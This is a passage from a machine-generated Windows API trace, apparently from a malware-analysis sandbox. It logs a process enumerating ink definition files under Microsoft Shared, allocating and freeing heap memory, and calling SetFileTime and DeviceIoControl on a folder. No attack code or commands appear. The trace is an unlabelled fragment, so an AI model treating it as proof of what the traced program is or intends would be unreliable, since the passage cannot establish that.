cAlternateFileName="")) returned 1 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904478 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903268 [0234.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.079] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904498 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903370 [0234.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.079] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9044b8 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903478 [0234.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.079] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9044d8 [0234.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903580 [0234.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.079] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9044f8 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903688 [0234.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.080] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904518 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903790 [0234.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.080] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904538 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903898 [0234.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.080] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.081] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.081] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.081] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904558 [0234.081] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9039a0 [0234.081] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0234.081] GetLastError () returned 0x12 [0234.081] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0234.081] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0234.081] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0234.082] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0234.082] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0234.082] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0234.082] GetLastError () returned 0x12 [0234.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902710) returned 1 [0234.082] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902818) returned 1 [0234.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.083] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0234.083] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0234.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.083] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0234.083] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0234.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904f68 [0234.083] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904f68, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x904f68, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0234.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904f68) returned 1 [0234.083] NtClose (Handle=0x1bc) returned 0x0 [0234.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.083] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.083] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902818 [0234.084] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0234.084] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.084] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0234.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902710 [0234.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904578 [0234.084] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903aa8 [0234.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.084] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, 